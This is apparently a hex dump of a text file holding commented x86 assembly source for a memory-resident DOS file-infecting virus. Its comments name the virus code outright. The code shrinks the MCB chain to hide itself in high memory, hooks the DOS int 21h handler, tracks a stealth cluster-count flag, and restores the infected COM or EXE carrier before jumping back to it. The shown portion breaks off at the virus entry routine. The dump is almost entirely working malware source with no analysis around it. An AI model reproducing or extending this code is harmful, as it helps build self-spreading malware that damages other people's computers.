|00002200| 20 20 20 20 20 20 20 20 | 20 6a 65 20 20 20 20 20 |        | je     |
|00002210| 20 63 61 72 72 69 65 72 | 69 73 6c 61 73 74 4d 43 | carrier|islastMC|
|00002220| 42 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |B..     |        |
|00002230| 20 20 20 64 65 63 20 20 | 20 20 20 62 79 74 65 20 |   dec  |   byte |
|00002240| 70 74 72 20 63 73 3a 63 | 68 65 63 6b 72 65 73 20 |ptr cs:c|heckres |
|00002250| 20 20 20 3b 20 6d 61 72 | 6b 20 6e 65 65 64 20 74 |   ; mar|k need t|
|00002260| 6f 20 69 6e 73 74 61 6c | 6c 20 76 69 72 75 73 0d |o instal|l virus.|
|00002270| 0a 63 61 72 72 69 65 72 | 69 73 6c 61 73 74 4d 43 |.carrier|islastMC|
|00002280| 42 3a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |B:..    |        |
|00002290| 20 20 20 20 63 6d 70 20 | 20 20 20 20 62 79 74 65 |    cmp |    byte|
|000022a0| 20 70 74 72 20 63 73 3a | 63 68 65 63 6b 72 65 73 | ptr cs:|checkres|
|000022b0| 2c 30 20 20 3b 20 6e 65 | 65 64 20 74 6f 20 69 6e |,0  ; ne|ed to in|
|000022c0| 73 74 61 6c 6c 3f 0d 0a | 20 20 20 20 20 20 20 20 |stall?..|        |
|000022d0| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 |        |je      |
|000022e0| 70 6c 61 79 77 69 74 68 | 4d 43 42 73 20 20 20 20 |playwith|MCBs    |
|000022f0| 20 20 20 20 20 20 20 20 | 3b 20 6e 6f 70 65 2c 20 |        |; nope, |
|00002300| 67 6f 20 70 6c 61 79 20 | 77 69 74 68 20 4d 43 42 |go play |with MCB|
|00002310| 73 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..     |        |
|00002320| 20 20 20 6d 6f 76 20 20 | 20 20 20 62 79 74 65 20 |   mov  |   byte |
|00002330| 70 74 72 20 64 73 3a 5b | 30 5d 2c 27 4d 27 20 20 |ptr ds:[|0],'M'  |
|00002340| 20 20 20 3b 20 6d 61 72 | 6b 20 6e 6f 74 20 65 6e |   ; mar|k not en|
|00002350| 64 20 6f 66 20 63 68 61 | 69 6e 0d 0a 70 6c 61 79 |d of cha|in..play|
|00002360| 77 69 74 68 4d 43 42 73 | 3a 0d 0a 20 20 20 20 20 |withMCBs|:..     |
|00002370| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00002380| 20 20 20 61 78 2c 64 73 | 3a 5b 33 5d 20 20 20 20 |   ax,ds|:[3]    |
|00002390| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 67 65 74 |        |   ; get|
|000023a0| 20 6d 65 6d 6f 72 79 20 | 73 69 7a 65 20 63 6f 6e | memory |size con|
|000023b0| 74 72 6f 6c 6c 65 64 0d | 0a 20 20 20 20 20 20 20 |trolled.|.       |
|000023c0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|000023d0| 20 62 78 2c 61 78 20 20 | 20 20 20 20 20 20 20 20 | bx,ax  |        |
|000023e0| 20 20 20 20 20 20 20 20 | 20 3b 20 62 79 20 74 68 |        | ; by th|
|000023f0| 65 20 4d 43 42 0d 0a 20 | 20 20 20 20 20 20 20 20 |e MCB.. |        |
|00002400| 20 20 20 20 20 20 20 73 | 75 62 20 20 20 20 20 61 |       s|ub     a|
|00002410| 78 2c 28 74 6f 70 73 74 | 61 63 6b 2f 31 30 68 29 |x,(topst|ack/10h)|
|00002420| 2b 31 20 20 20 20 20 3b | 20 63 61 6c 63 75 6c 61 |+1     ;| calcula|
|00002430| 74 65 20 6e 65 77 20 73 | 69 7a 65 0d 0a 20 20 20 |te new s|ize..   |
|00002440| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 61 64 64 |        |     add|
|00002450| 20 20 20 20 20 64 78 2c | 61 78 20 20 20 20 20 20 |     dx,|ax      |
|00002460| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 66 |        |     ; f|
|00002470| 69 6e 64 20 68 69 67 68 | 20 6d 65 6d 6f 72 79 20 |ind high| memory |
|00002480| 73 65 67 6d 65 6e 74 0d | 0a 20 20 20 20 20 20 20 |segment.|.       |
|00002490| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|000024a0| 20 64 73 3a 5b 33 5d 2c | 61 78 20 20 20 20 20 20 | ds:[3],|ax      |
|000024b0| 20 20 20 20 20 20 20 20 | 20 3b 20 70 75 74 20 6e |        | ; put n|
|000024c0| 65 77 20 73 69 7a 65 20 | 69 6e 20 4d 43 42 0d 0a |ew size |in MCB..|
|000024d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000024e0| 69 6e 63 20 20 20 20 20 | 64 78 20 20 20 20 20 20 |inc     |dx      |
|000024f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002500| 3b 20 6f 6e 65 20 6d 6f | 72 65 20 66 6f 72 20 74 |; one mo|re for t|
|00002510| 68 65 20 4d 43 42 0d 0a | 20 20 20 20 20 20 20 20 |he MCB..|        |
|00002520| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00002530| 65 73 2c 64 78 20 20 20 | 20 20 20 20 20 20 20 20 |es,dx   |        |
|00002540| 20 20 20 20 20 20 20 20 | 3b 20 65 73 2d 3e 68 69 |        |; es->hi|
|00002550| 67 68 20 6d 65 6d 6f 72 | 79 20 4d 43 42 0d 0a 20 |gh memor|y MCB.. |
|00002560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00002570| 6f 76 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |ov     b|yte ptr |
|00002580| 65 73 3a 5b 30 5d 2c 27 | 5a 27 20 20 20 20 20 3b |es:[0],'|Z'     ;|
|00002590| 20 6d 61 72 6b 20 65 6e | 64 20 6f 66 20 63 68 61 | mark en|d of cha|
|000025a0| 69 6e 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |in..    |        |
|000025b0| 20 20 20 20 70 75 73 68 | 20 20 20 20 77 6f 72 64 |    push|    word|
|000025c0| 20 70 74 72 20 63 73 3a | 6f 77 6e 65 72 66 69 72 | ptr cs:|ownerfir|
|000025d0| 73 74 4d 43 42 20 3b 20 | 67 65 74 20 44 4f 53 20 |stMCB ; |get DOS |
|000025e0| 50 53 50 20 49 44 0d 0a | 20 20 20 20 20 20 20 20 |PSP ID..|        |
|000025f0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|00002600| 77 6f 72 64 20 70 74 72 | 20 65 73 3a 5b 31 5d 20 |word ptr| es:[1] |
|00002610| 20 20 20 20 20 20 20 20 | 3b 20 6d 61 6b 65 20 69 |        |; make i|
|00002620| 74 20 74 68 65 20 6f 77 | 6e 65 72 0d 0a 20 20 20 |t the ow|ner..   |
|00002630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00002640| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 65 73 |     wor|d ptr es|
|00002650| 3a 5b 33 5d 2c 31 36 30 | 68 20 20 20 20 3b 20 66 |:[3],160|h    ; f|
|00002660| 69 6c 6c 20 69 6e 20 74 | 68 65 20 73 69 7a 65 20 |ill in t|he size |
|00002670| 66 69 65 6c 64 0d 0a 20 | 20 20 20 20 20 20 20 20 |field.. |        |
|00002680| 20 20 20 20 20 20 20 69 | 6e 63 20 20 20 20 20 64 |       i|nc     d|
|00002690| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|000026a0| 20 20 20 6d 6f 76 20 20 | 20 20 20 65 73 2c 64 78 |   mov  |   es,dx|
|000026b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000026c0| 20 20 20 3b 20 65 73 2d | 3e 68 69 67 68 20 6d 65 |   ; es-|>high me|
|000026d0| 6d 6f 72 79 20 61 72 65 | 61 0d 0a 20 20 20 20 20 |mory are|a..     |
|000026e0| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|000026f0| 20 20 20 63 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |   cs.. |        |
|00002700| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 |       p|op     d|
|00002710| 73 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..     |        |
|00002720| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 28 74 |   mov  |   cx,(t|
|00002730| 6f 70 73 74 61 63 6b 2f | 32 29 20 20 20 20 20 20 |opstack/|2)      |
|00002740| 20 20 20 3b 20 7a 6f 70 | 79 20 30 2d 31 36 30 30 |   ; zop|y 0-1600|
|00002750| 68 20 74 6f 20 68 69 67 | 68 20 6d 65 6d 6f 72 79 |h to hig|h memory|
|00002760| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002770| 20 20 6d 6f 76 20 20 20 | 20 20 73 69 2c 6f 66 66 |  mov   |  si,off|
|00002780| 73 65 74 20 74 6f 70 73 | 74 61 63 6b 2d 32 0d 0a |set tops|tack-2..|
|00002790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000027a0| 6d 6f 76 20 20 20 20 20 | 64 69 2c 73 69 0d 0a 20 |mov     |di,si.. |
|000027b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 |        |       s|
|000027c0| 74 64 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |td      |        |
|000027d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|000027e0| 20 7a 6f 70 79 20 62 61 | 63 6b 77 61 72 64 73 0d | zopy ba|ckwards.|
|000027f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00002800| 20 72 65 70 20 20 20 20 | 20 6d 6f 76 73 77 0d 0a | rep    | movsw..|
|00002810| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002820| 63 6c 64 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |cld..   |        |
|00002830| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 65 73 20 |     pus|h    es |
|00002840| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002850| 20 20 20 20 20 3b 20 73 | 65 74 20 75 70 20 73 74 |     ; s|et up st|
|00002860| 61 63 6b 20 66 6f 72 20 | 6a 6d 70 20 69 6e 74 6f |ack for |jmp into|
|00002870| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002880| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 6f 66 66 |  mov   |  ax,off|
|00002890| 73 65 74 20 68 69 67 68 | 65 6e 74 72 79 20 20 20 |set high|entry   |
|000028a0| 20 20 3b 20 76 69 72 75 | 73 20 63 6f 64 65 20 69 |  ; viru|s code i|
|000028b0| 6e 20 68 69 67 68 20 6d | 65 6d 6f 72 79 0d 0a 20 |n high m|emory.. |
|000028c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|000028d0| 75 73 68 20 20 20 20 61 | 78 0d 0a 20 20 20 20 20 |ush    a|x..     |
|000028e0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000028f0| 20 20 20 65 73 2c 63 73 | 3a 63 61 72 72 69 65 72 |   es,cs|:carrier|
|00002900| 50 53 50 20 20 20 20 20 | 20 20 20 3b 20 73 61 76 |PSP     |   ; sav|
|00002910| 65 20 63 75 72 72 65 6e | 74 20 50 53 50 20 73 65 |e curren|t PSP se|
|00002920| 67 6d 65 6e 74 0d 0a 20 | 20 20 20 20 20 20 20 20 |gment.. |        |
|00002930| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|00002940| 68 2c 34 41 68 20 20 20 | 20 20 20 20 20 20 20 20 |h,4Ah   |        |
|00002950| 20 20 20 20 20 20 20 3b | 20 41 6c 74 65 72 20 6d |       ;| Alter m|
|00002960| 65 6d 6f 72 79 20 61 6c | 6c 6f 63 61 74 69 6f 6e |emory al|location|
|00002970| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002980| 20 20 6d 6f 76 20 20 20 | 20 20 62 78 2c 62 70 20 |  mov   |  bx,bp |
|00002990| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000029a0| 20 20 3b 20 62 78 20 3d | 20 70 61 72 61 67 72 61 |  ; bx =| paragra|
|000029b0| 70 68 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |phs..   |        |
|000029c0| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 |     int|     21h|
|000029d0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000029e0| 20 20 72 65 74 66 20 20 | 20 20 20 20 20 20 20 20 |  retf  |        |
|000029f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002a00| 20 20 3b 20 6a 6d 70 20 | 74 6f 20 76 69 72 75 73 |  ; jmp |to virus|
|00002a10| 20 63 6f 64 65 20 69 6e | 20 68 69 67 68 0d 0a 68 | code in| high..h|
|00002a20| 69 67 68 65 6e 74 72 79 | 3a 20 20 20 20 20 20 20 |ighentry|:       |
|00002a30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00002a50| 20 6d 65 6d 6f 72 79 0d | 0a 20 20 20 20 20 20 20 | memory.|.       |
|00002a60| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |        | call   |
|00002a70| 20 73 77 61 70 76 69 72 | 69 6e 74 32 31 0d 0a 20 | swapvir|int21.. |
|00002a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00002a90| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov     w|ord ptr |
|00002aa0| 63 73 3a 69 6e 74 32 31 | 73 74 6f 72 65 2b 32 2c |cs:int21|store+2,|
|00002ab0| 63 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |cs..    |        |
|00002ac0| 20 20 20 20 63 61 6c 6c | 20 20 20 20 73 77 61 70 |    call|    swap|
|00002ad0| 76 69 72 69 6e 74 32 31 | 0d 0a 20 20 20 20 20 20 |virint21|..      |
|00002ae0| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00002af0| 20 20 63 73 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  cs..  |        |
|00002b00| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 |      po|p     ds|
|00002b10| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002b20| 20 20 6d 6f 76 20 20 20 | 20 20 62 79 74 65 20 70 |  mov   |  byte p|
|00002b30| 74 72 20 64 73 3a 68 61 | 6e 64 6c 65 73 6c 65 66 |tr ds:ha|ndleslef|
|00002b40| 74 2c 31 34 68 20 3b 20 | 72 65 73 65 74 20 66 72 |t,14h ; |reset fr|
|00002b50| 65 65 20 68 61 6e 64 6c | 65 73 20 63 6f 75 6e 74 |ee handl|es count|
|00002b60| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002b70| 20 20 70 75 73 68 20 20 | 20 20 63 73 0d 0a 20 20 |  push  |  cs..  |
|00002b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00002b90| 70 20 20 20 20 20 65 73 | 0d 0a 20 20 20 20 20 20 |p     es|..      |
|00002ba0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00002bb0| 20 20 64 69 2c 6f 66 66 | 73 65 74 20 68 61 6e 64 |  di,off|set hand|
|00002bc0| 6c 65 74 61 62 6c 65 0d | 0a 20 20 20 20 20 20 20 |letable.|.       |
|00002bd0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00002be0| 20 63 78 2c 31 34 68 0d | 0a 20 20 20 20 20 20 20 | cx,14h.|.       |
|00002bf0| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 |        | xor    |
|00002c00| 20 61 78 2c 61 78 20 20 | 20 20 20 20 20 20 20 20 | ax,ax  |        |
|00002c10| 20 20 20 20 20 20 20 20 | 20 3b 20 63 6c 65 61 72 |        | ; clear|
|00002c20| 20 68 61 6e 64 6c 65 20 | 74 61 62 6c 65 0d 0a 20 | handle |table.. |
|00002c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 72 |        |       r|
|00002c40| 65 70 20 20 20 20 20 73 | 74 6f 73 77 0d 0a 20 20 |ep     s|tosw..  |
|00002c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00002c60| 76 20 20 20 20 20 64 73 | 3a 68 69 64 65 63 6c 75 |v     ds|:hideclu|
|00002c70| 73 74 65 72 63 6f 75 6e | 74 63 68 61 6e 67 65 2c |stercoun|tchange,|
|00002c80| 61 6c 20 3b 20 63 6c 65 | 61 72 20 74 68 65 20 66 |al ; cle|ar the f|
|00002c90| 6c 61 67 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |lag..   |        |
|00002ca0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00002cb0| 64 73 3a 63 61 72 72 69 | 65 72 50 53 50 0d 0a 20 |ds:carri|erPSP.. |
|00002cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00002cd0| 6f 76 20 20 20 20 20 65 | 73 2c 61 78 20 20 20 20 |ov     e|s,ax    |
|00002ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00002cf0| 20 65 73 2d 3e 50 53 50 | 0d 0a 20 20 20 20 20 20 | es->PSP|..      |
|00002d00| 20 20 20 20 20 20 20 20 | 20 20 6c 64 73 20 20 20 |        |  lds   |
|00002d10| 20 20 64 78 2c 64 77 6f | 72 64 20 70 74 72 20 65 |  dx,dwo|rd ptr e|
|00002d20| 73 3a 5b 30 41 68 5d 20 | 20 20 3b 20 67 65 74 20 |s:[0Ah] |  ; get |
|00002d30| 74 65 72 6d 69 6e 61 74 | 65 20 76 65 63 74 6f 72 |terminat|e vector|
|00002d40| 20 28 77 68 79 3f 29 0d | 0a 20 20 20 20 20 20 20 | (why?).|.       |
|00002d50| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00002d60| 20 64 73 2c 61 78 20 20 | 20 20 20 20 20 20 20 20 | ds,ax  |        |
|00002d70| 20 20 20 20 20 20 20 20 | 20 3b 20 64 73 2d 3e 50 |        | ; ds->P|
|00002d80| 53 50 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |SP..    |        |
|00002d90| 20 20 20 20 61 64 64 20 | 20 20 20 20 61 78 2c 31 |    add |    ax,1|
|00002da0| 30 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h      |        |
|00002db0| 20 20 20 20 3b 20 61 64 | 6a 75 73 74 20 66 6f 72 |    ; ad|just for|
|00002dc0| 20 50 53 50 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | PSP..  |        |
|00002dd0| 20 20 20 20 20 20 61 64 | 64 20 20 20 20 20 77 6f |      ad|d     wo|
|00002de0| 72 64 20 70 74 72 20 63 | 73 3a 6f 6c 64 68 65 61 |rd ptr c|s:oldhea|
|00002df0| 64 65 72 2b 31 36 68 2c | 61 78 20 3b 20 61 64 6a |der+16h,|ax ; adj|
|00002e00| 75 73 74 20 6a 6d 70 20 | 6c 6f 63 61 74 69 6f 6e |ust jmp |location|
|00002e10| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002e20| 20 20 63 6d 70 20 20 20 | 20 20 62 79 74 65 20 70 |  cmp   |  byte p|
|00002e30| 74 72 20 63 73 3a 45 58 | 45 66 6c 61 67 2c 30 20 |tr cs:EX|Eflag,0 |
|00002e40| 20 20 3b 20 66 6f 72 20 | 50 53 50 0d 0a 20 20 20 |  ; for |PSP..   |
|00002e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6e 65 |        |     jne|
|00002e60| 20 20 20 20 20 72 65 74 | 75 72 6e 74 6f 45 58 45 |     ret|urntoEXE|
|00002e70| 0d 0a 72 65 74 75 72 6e | 74 6f 43 4f 4d 3a 0d 0a |..return|toCOM:..|
|00002e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002e90| 73 74 69 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |sti..   |        |
|00002ea0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00002eb0| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 6f 6c 64 68 |word ptr| cs:oldh|
|00002ec0| 65 61 64 65 72 3b 20 72 | 65 73 74 6f 72 65 20 66 |eader; r|estore f|
|00002ed0| 69 72 73 74 20 36 20 62 | 79 74 65 73 20 6f 66 20 |irst 6 b|ytes of |
|00002ee0| 74 68 65 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |the..   |        |
|00002ef0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 73 3a |     mov|     ds:|
|00002f00| 5b 31 30 30 68 5d 2c 61 | 78 20 20 20 20 20 20 20 |[100h],a|x       |
|00002f10| 20 20 20 20 20 3b 20 43 | 4f 4d 20 66 69 6c 65 0d |     ; C|OM file.|
|00002f20| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00002f30| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 77 6f 72 64 | mov    | ax,word|
|00002f40| 20 70 74 72 20 63 73 3a | 6f 6c 64 68 65 61 64 65 | ptr cs:|oldheade|
|00002f50| 72 2b 32 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |r+2..   |        |
|00002f60| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 73 3a |     mov|     ds:|
|00002f70| 5b 31 30 32 68 5d 2c 61 | 78 0d 0a 20 20 20 20 20 |[102h],a|x..     |
|00002f80| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00002f90| 20 20 20 61 78 2c 77 6f | 72 64 20 70 74 72 20 63 |   ax,wo|rd ptr c|
|00002fa0| 73 3a 6f 6c 64 68 65 61 | 64 65 72 2b 34 0d 0a 20 |s:oldhea|der+4.. |
|00002fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00002fc0| 6f 76 20 20 20 20 20 64 | 73 3a 5b 31 30 34 68 5d |ov     d|s:[104h]|
|00002fd0| 2c 61 78 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |,ax..   |        |
|00002fe0| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 77 6f 72 |     pus|h    wor|
|00002ff0| 64 20 70 74 72 20 63 73 | 3a 63 61 72 72 69 65 72 |d ptr cs|:carrier|
|00003000| 50 53 50 20 20 3b 20 53 | 65 67 6d 65 6e 74 20 6f |PSP  ; S|egment o|
|00003010| 66 20 63 61 72 72 69 65 | 72 20 66 69 6c 65 27 73 |f carrie|r file's|
|00003020| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003030| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 31 30 30 |  mov   |  ax,100|
|00003040| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00003050| 20 20 3b 20 50 53 50 0d | 0a 20 20 20 20 20 20 20 |  ; PSP.|.       |
|00003060| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |        | push   |
|00003070| 20 61 78 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | ax..   |        |
|00003080| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00003090| 63 73 3a 69 6e 69 74 69 | 61 6c 61 78 20 20 20 20 |cs:initi|alax    |
|000030a0| 20 20 20 20 20 3b 20 72 | 65 73 74 6f 72 65 20 6f |     ; r|estore o|
|000030b0| 72 69 67 2e 20 76 61 6c | 75 65 20 6f 66 20 61 78 |rig. val|ue of ax|
|000030c0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000030d0| 20 20 72 65 74 66 20 20 | 20 20 20 20 20 20 20 20 |  retf  |        |
|000030e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000030f0| 20 20 3b 20 72 65 74 75 | 72 6e 20 74 6f 20 6f 72 |  ; retu|rn to or|
|00003100| 69 67 69 6e 61 6c 20 43 | 4f 4d 20 66 69 6c 65 0d |iginal C|OM file.|
|00003110| 0a 0d 0a 72 65 74 75 72 | 6e 74 6f 45 58 45 3a 0d |...retur|ntoEXE:.|
|00003120| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003130| 20 61 64 64 20 20 20 20 | 20 77 6f 72 64 20 70 74 | add    | word pt|
|00003140| 72 20 63 73 3a 6f 6c 64 | 68 65 61 64 65 72 2b 30 |r cs:old|header+0|
|00003150| 65 68 2c 61 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |eh,ax.. |        |
|00003160| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|00003170| 78 2c 63 73 3a 69 6e 69 | 74 69 61 6c 61 78 20 20 |x,cs:ini|tialax  |
|00003180| 20 20 20 20 20 20 20 3b | 20 52 65 73 74 6f 72 65 |       ;| Restore|
|00003190| 20 61 78 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | ax..   |        |
|000031a0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 73 2c |     mov|     ss,|
|000031b0| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 6f 6c 64 68 |word ptr| cs:oldh|
|000031c0| 65 61 64 65 72 2b 30 65 | 68 20 3b 20 52 65 73 74 |eader+0e|h ; Rest|
|000031d0| 6f 72 65 20 73 74 61 63 | 6b 20 74 6f 0d 0a 20 20 |ore stac|k to..  |
|000031e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|000031f0| 76 20 20 20 20 20 73 70 | 2c 77 6f 72 64 20 70 74 |v     sp|,word pt|
|00003200| 72 20 63 73 3a 6f 6c 64 | 68 65 61 64 65 72 2b 31 |r cs:old|header+1|
|00003210| 30 68 20 3b 20 6f 72 69 | 67 69 6e 61 6c 20 76 61 |0h ; ori|ginal va|
|00003220| 6c 75 65 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |lue..   |        |
|00003230| 20 20 20 20 20 73 74 69 | 0d 0a 20 20 20 20 20 20 |     sti|..      |
|00003240| 20 20 20 20 20 20 20 20 | 20 20 6a 6d 70 20 20 20 |        |  jmp   |
|00003250| 20 20 64 77 6f 72 64 20 | 70 74 72 20 63 73 3a 6f |  dword |ptr cs:o|
|00003260| 6c 64 68 65 61 64 65 72 | 2b 31 34 68 20 3b 20 6a |ldheader|+14h ; j|
|00003270| 6d 70 20 74 6f 20 6f 72 | 69 67 69 6e 61 6c 20 63 |mp to or|iginal c|
|00003280| 73 3a 49 50 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |s:IP..  |        |
|00003290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000032a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000032b0| 20 20 20 20 20 20 3b 20 | 65 6e 74 72 79 20 70 6f |      ; |entry po|
|000032c0| 69 6e 74 0d 0a 65 6e 74 | 65 72 76 69 72 75 73 3a |int..ent|ervirus:|
|000032d0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000032e0| 20 20 63 6d 70 20 20 20 | 20 20 73 70 2c 31 30 30 |  cmp   |  sp,100|
|000032f0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00003300| 20 20 3b 20 43 4f 4d 20 | 66 69 6c 65 3f 0d 0a 20 |  ; COM |file?.. |
|00003310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00003320| 61 20 20 20 20 20 20 64 | 6f 6e 74 5f 72 65 73 65 |a      d|ont_rese|
|00003330| 74 73 74 61 63 6b 20 20 | 20 20 20 20 20 20 20 3b |tstack  |       ;|
|00003340| 20 69 66 20 73 6f 2c 20 | 73 6b 69 70 20 74 68 69 | if so, |skip thi|
|00003350| 73 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..     |        |
|00003360| 20 20 20 78 6f 72 20 20 | 20 20 20 73 70 2c 73 70 |   xor  |   sp,sp|
|00003370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003380| 20 20 20 3b 20 6e 65 77 | 20 73 74 61 63 6b 0d 0a |   ; new| stack..|
